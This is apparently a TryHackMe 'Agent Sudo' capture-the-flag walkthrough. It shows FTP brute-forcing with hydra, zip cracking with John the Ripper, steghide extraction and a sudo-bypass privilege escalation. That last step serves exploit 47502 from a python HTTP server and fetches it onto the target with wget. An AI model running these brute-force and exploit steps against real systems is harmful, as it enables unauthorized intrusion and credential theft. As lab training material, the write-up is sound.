Agent Sudo

Firstly, I have to say I'm going to do the Agent Sudo de Tryhackme machine which it's so easy to do.

So let's go to do the following steps:

Now, I'm going to use the nmap toolkit to verify the open service and we can see in the picture below:

1. port 22: ssh
2. port 80: http( web page)
3. port 21: ftp

Here we can observe that the 80 port has a message in the picture below.

I'm going to do the query and we'll have to capture with toolkit from BurpSuite which is incredible, for it I've actived proxy foxy you can discover below:

https://chromewebstore.google.com/detail/foxyproxy/gcknhkkoolaabfmlnjonogaaifnjlfnp?pli=1

 Now, as we have capture the page let's go to do the query where in the User-Agent, we've to write R and click in the option called forward such as you can see in the picture below.

In addition, we can observe in the picture is the Information but it isn't whatever I want such as could be name or password.

Now, we've to do the query in the User-Agent must write C and we've to click in Forward you can see in the picture below, but if you see the second picture below, you'll observe a new user whose name is chris.

In addition, we're going to execute brute force with the hydra toolkit to get the user password from chris you can see in the picture below with this options:

1. hydra -l (user) chris -P (password dictionary) /usr/share/wordlist/rockyou.txt and ftp service ftp:(//ip/) ftp:/10.10.200.129/ -v( if you can see the things during the scanner)

Right now, I have to connect to ftp service that you can observe in the picture below,so I've executed ls command to obtain the full information.

In addition, we've to use get command and the files which we want to downlod in our tattacker machine such as:

1. To_AgentJ.txt
2. cute-alien.jpg
3. cutie.png

Now, we can observe the process has been successful in the pictures below that in my case are the picture 2 and 5.

Now that we have successfully obtained the files we are going to execute the cat command to be able to see the information of the first file that we have downloaded that we can see in the image below.

Just then, we're going to see the information about the others both files that in my case are 2 pictures is hidden the information, but I've executed the binwalk toolkit which I can be able to see if there's compress in the picture you can see in the picture below with the command binwalk -e cutie.png to can decompress the file zip.

I'm going to run the ls command so I can see the unzipped zip file in the folder named _cutie.png.extracted which we can see in the image below.

Next, I am going to go into the above folder and we can see that there is a zip file named 8702.zip which we will need for later.

Now, I'm going to run toolkit called zip2john which I can be able to extract the passwords after with the toolkit of John the Ripper. So let's go to execute the command which you can observe in the picture below:

1. zip2john 8702.zip >zip.hash

Now that everything has gone well let's check that it has been converted to a hash file by means of the cat command that we can see in the image below.

To sum up, if we want to get the password files,we'll need to use the toolkit called John the Ripper, and the cammad would be john zip.hash, and we can see in the image below that it has obtained the password and the output file.

Now, as the file is zip, we have to run the 7z command 7z e( extract) 8702.zip and you can see in the picture below.

Finally, if we want to discover the password we have to enter inside with the cat command .txt is To_agent.txt, but as it has been done in 64 base, we have to desencript with the websitesuch such as you can see in this link: https://www.base64decode.org/ that you can see in the both pictures at the bottom of the pages.

Now, as the file is an image we have to execute the command steghide info cute-alien.jpg as we can see in the image below in order to get the information inside the image in an output file which is message.txt.

To finally and discover the password, we've to go to file before called message.txt and will be able to see in the file will be the password and a new user name whose name is james in the picture below.

Now we are going to enter by ssh protocol with the user that we have found and the password and indeed we have entered successfully as we can see in the image below.

Now as we're in the victim machine of Linux we've to find out the both flags such as (user and root),

In my case, I've obtained the user flag whose name is user_flag.txt you can see in the piture below.

To find the root flag, we are going to need to escalate root privileges so first we are going to see the permissions we have, so we have to execute the command sudo -l that we can see in the image below and we can see how we have found the option to escalate privileges which is:

1. ALL, !root /bin/bash

We're going to search in the Internet in website called exploitdb perhaps it will have the vulnerability in this link https://www.exploit-db.com/exploits/47502 you can see in the both pictures below.

Finally, we will download and ejecute our apache2 service when we're be able to download in comproised machine and run that you can observe in the second and third picture below.

Now, we'll have to execute in our python3 server in the port whatever you want, but in y case has been executed in 8080 port:

1. python3 -m http.server 8080

Next, we are going to download it on our compromised machine by making a request to our python3 server using this command: wget http://10.2.11.235:8080/'47502(1).py.

 To sum up, we're going to verify if the python file has been downloaded in the copromised machine with this both comands which are:

1. ls (Listing the files or directorios live)
2.  chmod +x '47502(1).py ( to change to perms to run the exploit in the compromised machine).

You can see in the both pictures below.

Finally, we have to execute the exploit in the compromised machine as you can see in the picture below, Moreover, we must run the whoami command which I could know if I am a root user you can see in the 2 pictures below.

Finally, we have to find the root flag for this we will use this command which will let me know where the root flag is located which is: find /root/ and we can see that the flag is in that location shown in the second image below and finally the Agent R is DesKel which we can see in the second image below.

Thank you for reading this article

I hope you like it and learned something new

Good hack